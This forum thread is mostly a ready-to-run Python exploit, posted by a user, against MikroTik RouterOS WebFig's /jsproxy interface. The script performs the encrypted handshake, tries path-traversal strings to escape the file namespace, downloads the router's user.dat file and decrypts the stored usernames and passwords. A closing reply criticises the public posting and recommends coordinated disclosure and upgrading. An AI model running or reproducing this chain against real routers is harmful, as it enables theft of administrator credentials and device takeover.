Mikrotik Webfig/jsproxy unauthenticated file read

[sohel160]

#!/usr/bin/env python3

-- coding: utf-8 --

"""
LAB-ONLY RouterOS 7.x WebFig /jsproxy authenticated file-read PoC.

Verified against master.js from target build 7.21.4:

• handshake : POST /jsproxy, Content-Type: msg, Accept-Language: "",
  body = 8 x 0x00 || 32-byte X25519 pubkey (wire order)
• app frame : POST /jsproxy, same headers,
  body = [sid:4][seq:4][iv:16][AES-128-CTR(m2)]
• cipher : AES-128-CTR, NoPadding, fresh 16-byte IV per frame
• KDF : SHA-256(master || 40x00 || magic || 40xf2)[:16]
• txseq : starts at 1; advanced by len(m2) per frame
• X25519 : curve_a2u/curve_u2a wire order (byte-reversed vs stdlib)
• FIRST frame after handshake MUST be credentials: {s1: user, s3: pwd}
  or {s2d: token}. Any other first frame → HTTP 403.

Authorized lab / pentest use only.
"""

import argparse
import hashlib
import os
import secrets
import struct
import sys
from urllib.parse import urlparse

import requests
from cryptography.hazmat.primitives.asymmetric.x25519 import (
X25519PrivateKey, X25519PublicKey,
)
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.serialization import (
Encoding, PublicFormat,
)

=====================================================================

M2 field type bits

=====================================================================

FT_BOOL = 0 << 27
FT_U32 = 1 << 27
FT_U64 = 2 << 27
FT_ADDR6 = 3 << 27
FT_STRING = 4 << 27
FT_MESSAGE = 5 << 27
FT_RAW = 6 << 27

FT_BOOL_ARRAY = 16 << 27
FT_U32_ARRAY = 17 << 27
FT_U64_ARRAY = 18 << 27
FT_ADDR6_ARRAY = 19 << 27
FT_STRING_ARRAY = 20 << 27
FT_MESSAGE_ARRAY = 21 << 27
FT_RAW_ARRAY = 22 << 27

FS_SHORT = 1 << 24
FS_LONG = 1 << 25

=====================================================================

Protocol constants

=====================================================================

MAGIC_SEND = (b"On the client side, this is the send key; "
b"on the server side, it is the receive key.")
MAGIC_RECV = (b"On the client side, this is the receive key; "
b"on the server side, it is the send key.")

M2 system field ids

V_TO = 0xFF0001
V_FROM = 0xFF0002
V_REPLY = 0xFF0005
V_REQID = 0xFF0006
V_CMD = 0xFF0007
V_ERR = 0xFF0008
V_ERRSTR = 0xFF0009
V_POLICY = 0xFF000B # sysres.policy comes from rep.uff000b (line 2191)
V_TOKEN = 0xFF000D # userdata.s2d — auth token for later reuse

File-manager envelope

ID_FILEMAN = 72
ID_TRANSFER = 1
CMD_OPEN_READ = 3
CMD_READ = 4
CHUNK_SIZE = 4096

fileCache field ids (from master.js)

FM_ID = 0xFE0001
FM_SIZE = 0x00000002
FM_LSIZE = 0x00000065
FM_CHUNK = 0x00000005
FM_LAST = 0x00000006

WebFig UI envelope (benign grooming)

UI_SYS = 2
UI_HANDLER = 2
UI_CMD_CLOSE = 3

user.dat password XOR salt

XOR_SALT = b"283i4jfkai3389"

HTTP_HEADERS = {
"Content-Type": "msg",
"Accept-Language": "",
"Connection": "close",
}

=====================================================================

Helpers

=====================================================================

def sha256_hex(b: bytes) -> str:
return hashlib.sha256(b).hexdigest()

def normalize(raw: str) -> str:
if "://" not in raw:
raw = "http://" + raw
p = urlparse(raw)
port = f":{p.port}" if p.port else ""
return f"{p.scheme or 'http'}://{p.hostname}{port}"

=====================================================================

AES-128-CTR

=====================================================================

class AES128CTR:
KEY_LEN = 16
IV_LEN = 16

def __init__(self):
    self.key = None

def set_key(self, key: bytes) -> None:
    if len(key) != self.KEY_LEN:
        raise ValueError(f"AES key must be {self.KEY_LEN} bytes")
    self.key = key

def crypt(self, data: bytes, iv: bytes) -> bytes:
    if self.key is None:
        raise RuntimeError("key not set")
    if len(iv) != self.IV_LEN:
        raise ValueError("IV must be 16 bytes")
    c = Cipher(algorithms.AES(self.key), modes.CTR(iv))
    return c.encryptor().update(data)

=====================================================================

X25519 (WebFig wire order)

=====================================================================

def wf_pub(priv: bytes) -> bytes:
return X25519PrivateKey.from_private_bytes(priv[::-1])
.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw)[::-1]

def wf_shared(priv: bytes, spub: bytes) -> bytes:
return X25519PrivateKey.from_private_bytes(priv[::-1])
.exchange(X25519PublicKey.from_public_bytes(spub[::-1]))[::-1]

=====================================================================

KDF — SHA-256(master || 400x00 || magic || 400xf2)[:16]

=====================================================================

def make_key(master: bytes, snd: bool, srv: bool = False) -> bytes:
v = bytearray(master)
v.extend(b"\x00" * 40)
v.extend(MAGIC_RECV if snd == srv else MAGIC_SEND)
v.extend(b"\xf2" * 40)
return hashlib.sha256(bytes(v)).digest()[:AES128CTR.KEY_LEN]

=====================================================================

M2 serializer

=====================================================================

def fid(idtype: int, name: str) -> bytes:
hexpart = name[1:]
if not hexpart:
raise ValueError(f"invalid field name: {name!r}")
x = int(hexpart, 16)
return bytes([
x & 0xFF,
(x >> 8) & 0xFF,
(x >> 16) & 0xFF,
(idtype >> 24) & 0xFF,
])

def u16(v): return struct.pack("<H", v & 0xFFFF)
def u32(v): return struct.pack("<I", v & 0xFFFFFFFF)
def u64(v): return struct.pack("<Q", v & 0xFFFFFFFFFFFFFFFF)

def msg2(msg: dict) -> bytes:
o = bytearray(b"M2")
for k, v in msg.items():
if v is None:
continue
if not k:
raise ValueError("empty field key")
p = k[0]

    if p == "b":
        o += fid(FT_BOOL | (FS_SHORT if v else 0), k)

    elif p == "u":
        if not isinstance(v, int):
            raise TypeError(f"u-field {k} needs int, got {type(v)}")
        if 0 <= v < 256:
            o += fid(FT_U32 | FS_SHORT, k) + bytes([v])
        else:
            o += fid(FT_U32, k) + u32(v)

    elif p == "q":
        o += fid(FT_U64, k) + u64(v)

    elif p == "U":
        o += fid(FT_U32_ARRAY, k) + u16(len(v))
        for x in v:
            o += u32(x)

    elif p == "s":
        r = v.encode() if isinstance(v, str) else bytes(v)
        if len(r) < 256:
            o += fid(FT_STRING | FS_SHORT, k) + bytes([len(r)])
        elif len(r) >= 65536:
            o += fid(FT_STRING | FS_LONG, k) + u32(len(r))
        else:
            o += fid(FT_STRING, k) + u16(len(r))
        o += r

    elif p == "r":
        r = bytes(v)
        if len(r) < 256:
            o += fid(FT_RAW | FS_SHORT, k) + bytes([len(r)])
        elif len(r) >= 65536:
            o += fid(FT_RAW | FS_LONG, k) + u32(len(r))
        else:
            o += fid(FT_RAW, k) + u16(len(r))
        o += r

    elif p == "S":
        o += fid(FT_STRING_ARRAY, k) + u16(len(v))
        for s in v:
            r = s.encode() if isinstance(s, str) else bytes(s)
            o += u16(len(r)) + r

    else:
        raise ValueError(f"unsupported field prefix {p!r} in key {k!r}")

return bytes(o)

=====================================================================

M2 parser

=====================================================================

def parse_m2_record(d: bytes):
if d[:2] != b"M2":
return None, 0

r = {"u32": {}, "u64": {}, "s": {}, "r": {}, "u32a": {}}
d0 = d[2:]
off = 0

try:
    while len(d0) - off >= 4:
        tn = struct.unpack("<I", d0[off:off + 4])[0]
        off += 4
        ft, fn = tn & 0xF8000000, tn & 0x00FFFFFF

        if ft == FT_U32:
            if tn & FS_SHORT:
                if off >= len(d0): break
                r["u32"][fn] = d0[off]; off += 1
            else:
                if off + 4 > len(d0): break
                r["u32"][fn] = struct.unpack("<I", d0[off:off + 4])[0]; off += 4

        elif ft == FT_U64:
            if off + 8 > len(d0): break
            r["u64"][fn] = struct.unpack("<Q", d0[off:off + 8])[0]; off += 8

        elif ft in (FT_STRING, FT_RAW):
            if tn & FS_SHORT:
                if off >= len(d0): break
                n = d0[off]; off += 1
            elif tn & FS_LONG:
                if off + 4 > len(d0): break
                n = struct.unpack("<I", d0[off:off + 4])[0]; off += 4
            else:
                if off + 2 > len(d0): break
                n = struct.unpack("<H", d0[off:off + 2])[0]; off += 2
            if off + n > len(d0): break
            r["s" if ft == FT_STRING else "r"][fn] = d0[off:off + n]
            off += n

        elif ft == FT_U32_ARRAY:
            if off + 2 > len(d0): break
            c = struct.unpack("<H", d0[off:off + 2])[0]; off += 2
            if off + 4 * c > len(d0): break
            r["u32a"][fn] = list(struct.unpack(f"<{c}I", d0[off:off + 4 * c]))
            off += 4 * c

        else:
            break

    return r, off + 2

except (IndexError, struct.error):
    return None, 0

def parse_m2(d: bytes) -> dict:
r, _ = parse_m2_record(d)
return r if r is not None else {"u32": {}, "u64": {}, "s": {}, "r": {}, "u32a": {}}

=====================================================================

user.dat credential decryption

=====================================================================

def decrypt_user_dat(data: bytes):
creds, i = [], 0
n = len(data)

while i < n - 2:
    if data[i:i + 2] == b"M2":
        rec, used = parse_m2_record(data[i:])
        if rec is None or used <= 2:
            i += 1
            continue

        user = rec["s"].get(1)
        enc = rec["r"].get(2)

        if user and enc:
            key = hashlib.md5(user + XOR_SALT).digest()
            pwd = bytes(c ^ key[k % 16] for k, c in enumerate(enc))
            pwd_s = pwd.rstrip(b"\x00").decode("utf-8", "replace")
            creds.append((
                user.decode("utf-8", "replace"),
                pwd_s,
                user.hex(),
                enc.hex(),
            ))

        i += used
    else:
        i += 1

return creds

=====================================================================

Session

=====================================================================

class Sess:
def init(self, sid: int, tx: AES128CTR, rx: AES128CTR):
self.sid = sid
self.tx = tx
self.rx = rx
# master.js line 54: this.txseq = 1
self.seq = 1
self.authenticated = False
self.policy = 0
self.token = None

=====================================================================

M2 builders

=====================================================================

def m2_auth(user: str, pwd: str) -> bytes:
"""First encrypted frame after handshake. MUST be sent before anything else."""
return msg2({"s1": user, "s3": pwd})

def m2_auth_token(token: str) -> bytes:
"""Alternative first frame if you have a cached token (userdata.s2d)."""
return msg2({"s2d": token})

def m2_file_open(path: str, reqid: int = 1) -> bytes:
return msg2({
f"U{V_TO:x}": [ID_FILEMAN, ID_TRANSFER],
f"u{V_CMD:x}": CMD_OPEN_READ,
f"u{V_REQID:x}": reqid,
f"b{V_REPLY:x}": True,
"s1": path,
})

def m2_file_read(trans_id: int, reqid: int, size: int = CHUNK_SIZE) -> bytes:
return msg2({
f"U{V_TO:x}": [ID_FILEMAN, ID_TRANSFER],
f"u{V_CMD:x}": CMD_READ,
f"u{V_REQID:x}": reqid,
f"b{V_REPLY:x}": True,
f"u{FM_ID:x}": trans_id,
"u2": size,
})

def m2_ui_close(reqid: int) -> bytes:
return msg2({
f"U{V_TO:x}": [UI_SYS, UI_HANDLER],
f"u{V_CMD:x}": UI_CMD_CLOSE,
f"u{V_REQID:x}": reqid,
f"b{V_REPLY:x}": True,
})

=====================================================================

Client

=====================================================================

class Client:
def init(self, base: str, timeout: float = 10.0, verbose: bool = False):
self.base = base.rstrip("/")
self.t = timeout
self.v = verbose
self.h = requests.Session()
self.results = []

def rec(self, name, st, ok, detail=""):
    self.results.append((name, st, ok, detail))
    tag = "[+]" if ok else "[-]"
    print(f"{tag} {name}: HTTP {st or '-'} | {detail}")

# ---------------------------------------------------------------
def post(self, data: bytes) -> requests.Response:
    r = self.h.post(self.base + "/jsproxy", data=data,
                    headers=HTTP_HEADERS, timeout=self.t)
    if self.v:
        print(f"[v] POST {len(data)}B -> HTTP {r.status_code} "
              f"({len(r.content)}B)")
    return r

# ---------------------------------------------------------------
# Handshake
# ---------------------------------------------------------------
def new_session(self) -> Sess:
    priv = secrets.token_bytes(32)
    pub = wf_pub(priv)
    initial = b"\x00" * 8 + pub

    r = self.post(initial)
    if r.status_code != 200 or len(r.content) != 40:
        raise RuntimeError(
            f"handshake HTTP {r.status_code} len={len(r.content)}"
        )

    sid = struct.unpack(">I", r.content[:4])[0]
    master = wf_shared(priv, r.content[8:40])

    tx, rx = AES128CTR(), AES128CTR()
    tx.set_key(make_key(master, True,  False))
    rx.set_key(make_key(master, False, False))
    return Sess(sid, tx, rx)

# ---------------------------------------------------------------
# Frame exchange
# ---------------------------------------------------------------
def xchg(self, s: Sess, m2: bytes):
    iv = os.urandom(AES128CTR.IV_LEN)
    ct = s.tx.crypt(m2, iv)
    frame = struct.pack(">II", s.sid, s.seq) + iv + ct
    s.seq += len(m2)

    r = self.post(frame)
    if r.status_code != 200:
        return r.status_code, None
    if len(r.content) < 24:
        if self.v:
            print(f"[v] short frame {len(r.content)}B: "
                  f"{r.content[:32].hex()}")
        return r.status_code, None

    r_iv = r.content[8:24]
    ct   = r.content[24:]
    payload = s.rx.crypt(ct, r_iv)
    return r.status_code, parse_m2(payload)

# ---------------------------------------------------------------
# Authenticate — MANDATORY first encrypted frame
# ---------------------------------------------------------------
def authenticate(self, s: Sess, user: str, pwd: str) -> bool:
    st, r = self.xchg(s, m2_auth(user, pwd))
    if r is None:
        self.rec("authenticate", st, False,
                 f"HTTP {st} on first encrypted frame")
        return False

    if V_ERR in r["u32"]:
        self.rec("authenticate", st, False,
                 f"err {r['u32'][V_ERR]} "
                 f"{r['s'].get(V_ERRSTR, b'')!r}")
        return False

    s.authenticated = True
    s.policy = r["u32"].get(V_POLICY, 0)
    tok = r["s"].get(V_TOKEN)
    if tok:
        s.token = tok.decode("utf-8", "replace")

    detail = f"policy={s.policy:#010x}"
    if s.token:
        detail += f" token={s.token[:8]}..."
    self.rec("authenticate", st, True, detail)
    return True

def authenticate_token(self, s: Sess, token: str) -> bool:
    st, r = self.xchg(s, m2_auth_token(token))
    if r is None or V_ERR in r["u32"]:
        self.rec("authenticate-token", st, False,
                 f"err {r['u32'].get(V_ERR, '?') if r else 'no reply'}")
        return False
    s.authenticated = True
    s.policy = r["u32"].get(V_POLICY, 0)
    self.rec("authenticate-token", st, True,
             f"policy={s.policy:#010x}")
    return True

# ---------------------------------------------------------------
# File read (only valid after authenticate())
# ---------------------------------------------------------------
def read_file(self, s: Sess, path: str):
    if not s.authenticated:
        return None, -1, b"session not authenticated"

    st, r = self.xchg(s, m2_file_open(path))
    if r is None:
        return None, -1, f"open failed (HTTP {st})".encode()
    if V_ERR in r["u32"]:
        return None, r["u32"][V_ERR], r["s"].get(V_ERRSTR, b"")

    trans_id = r["u32"].get(FM_ID)
    if trans_id is None:
        return None, -1, b"no transaction id"

    data = bytearray()
    reqid = 2
    while True:
        st, r2 = self.xchg(s, m2_file_read(trans_id, reqid))
        reqid += 1
        if r2 is None:
            return None, -1, f"read failed (HTTP {st})".encode()
        if V_ERR in r2["u32"]:
            return bytes(data), r2["u32"][V_ERR], r2["s"].get(V_ERRSTR, b"")
        chunk = r2["r"].get(FM_CHUNK)
        if chunk:
            data += chunk
        if r2["u32"].get(FM_LAST):
            break
        if not chunk:
            break
        if len(data) > 8 * 1024 * 1024:
            break

    return bytes(data), None, b""

# ---------------------------------------------------------------
# Grooming — each session must authenticate first now
# ---------------------------------------------------------------
def groom(self, user: str, pwd: str, n: int = 12):
    ok = 0
    for i in range(n):
        try:
            s = self.new_session()
            if not self.authenticate(s, user, pwd):
                continue
            self.xchg(s, m2_ui_close(0x50 + i))
            ok += 1
        except Exception as ex:
            if self.v:
                print(f"[v] groom {i} fail: {ex}")
    self.rec("allocator-grooming", 200, ok > 0,
             f"{ok}/{n} sessions authenticated+cycled")

# ---------------------------------------------------------------
# Escape
# ---------------------------------------------------------------
def escape(self, s: Sess):
    if not s.authenticated:
        self.rec("namespace-escape", 0, False,
                 "session not authenticated")
        return False

    candidates = (
        "/./../../././rw",
        "./../../rw/store",
        "/././.././../rw",
        "./.." + "/.." * 8 + "/rw",
        "/flash/./../rw",
        "/./../flash/rw",
    )
    last = "no candidate evaluated"
    for p in candidates:
        st, r = self.xchg(s, m2_file_open(p, reqid=0x60))
        if r is None:
            last = f"{p!r} -> HTTP {st}"
            continue
        if V_ERR in r["u32"]:
            last = (f"{p!r} -> err {r['u32'][V_ERR]} "
                    f"{r['s'].get(V_ERRSTR, b'')!r}")
            continue
        self.rec("namespace-escape", st, True, f"accepted: {p!r}")
        return True

    self.rec("namespace-escape", 0, False, last)
    return False

=====================================================================

Main

=====================================================================

def main():
ap = argparse.ArgumentParser(
description="LAB-ONLY RouterOS 7.x WebFig authenticated file-read"
)
ap.add_argument("target")
ap.add_argument("--user", required=True,
help="WebFig username (e.g. admin)")
ap.add_argument("--password", default="",
help="WebFig password (default empty)")
ap.add_argument("--token", default=None,
help="optional s2d auth token; skips user/password")
ap.add_argument("--test-file", default="./lab-test.txt")
ap.add_argument("--cred-file", default="/flash/rw/store/user.dat")
ap.add_argument("--groom", type=int, default=12)
ap.add_argument("--verbose", action="store_true")
args = ap.parse_args()

base = normalize(args.target)
print("[+] Target:", base)
print("[+] User:  ", args.user)
print()

c = Client(base, verbose=args.verbose)

try:
    # --- handshake + mandatory auth ---
    try:
        s = c.new_session()
    except Exception as ex:
        c.rec("handshake", 0, False, str(ex))
        raise

    c.rec("handshake", 200, True, f"sid={s.sid:#010x}")

    if args.token:
        if not c.authenticate_token(s, args.token):
            print("\n[-] Token rejected. Session cannot proceed.")
            raise SystemExit(1)
    else:
        if not c.authenticate(s, args.user, args.password):
            print("\n[-] Authentication rejected. "
                  "Every subsequent frame will 403.")
            raise SystemExit(1)

    # --- benign file read ---
    try:
        d, e, es = c.read_file(s, args.test_file)
        ok = e is None and d is not None
        c.rec("benign-file-open", 200, ok,
              f"{len(d)}B sha256={sha256_hex(d)[:16]}..." if ok
              else f"err {e} {es!r}")
    except Exception as ex:
        c.rec("benign-file-open", 0, False, str(ex))

    # --- grooming (each session re-auths) ---
    try:
        c.groom(args.user, args.password, args.groom)
    except Exception as ex:
        c.rec("allocator-grooming", 0, False, str(ex))

    # --- fresh authenticated session, escape, read ---
    try:
        s2 = c.new_session()
    except Exception as ex:
        c.rec("session-2", 0, False, str(ex))
        s2 = None

    if s2 is not None:
        if not c.authenticate(s2, args.user, args.password):
            s2 = None

    if s2 is None:
        pass
    elif not c.escape(s2):
        print("\n[-] No namespace escape accepted.")
    else:
        try:
            d, e, es = c.read_file(s2, args.cred_file)
        except Exception as ex:
            c.rec("credential-operation", 0, False, str(ex))
            d = None

        if d is None:
            pass
        elif e is None and d:
            c.rec("credential-operation", 200, True,
                  f"{len(d)}B sha256={sha256_hex(d)[:16]}...")
            rows = decrypt_user_dat(d)
            print("\n[*] Decrypted credentials:")
            if rows:
                for u, p, uh, eh in rows:
                    print(f"    username: {u!r}")
                    print(f"    password: {p!r}")
                    if args.verbose:
                        print(f"      user.hex={uh}")
                        print(f"      enc.hex ={eh}")
            else:
                print(f"    [!] no records; preview: {d[:96].hex()}")
        else:
            c.rec("credential-operation", 200, False, f"err {e} {es!r}")

except requests.RequestException as ex:
    print(f"[-] HTTP error: {ex}")
except KeyboardInterrupt:
    print("\n[-] Interrupted")
    sys.exit(130)
except SystemExit:
    raise
except Exception as ex:
    print(f"[-] fatal: {type(ex).__name__}: {ex}")

print()
print("[*] HTTP status matrix:")
for n, st, ok, d in c.results:
    print(f"    {n:<24} HTTP {st or '-':<5} "
          f"{'OK' if ok else 'FAIL'}  {d}")

if name == "main":
main()

[krif014]

Hi @sohel160 ,if this is intended as a vulnerability disclosure, I'd avoid posting a full unauthenticated file-read exploit chain publicly before confirming the issue and coordinating disclosure with MikroTik.

MikroTik's current security guidance says the September 2026 RouterOS vulnerability was fixed in 7.24.2, 7.23.4, 6.49.21 and 7.25 beta 3, and recommends upgrading affected devices. They also recommend checking the router for unexpected users, scripts, or configuration changes after upgrading.

For a responsible disclosure, it would be more useful to provide the affected RouterOS versions, impact, a minimal safe reproduction, and the vendor's tracking/CVE information rather than a ready-to-run credential/file-extraction chain.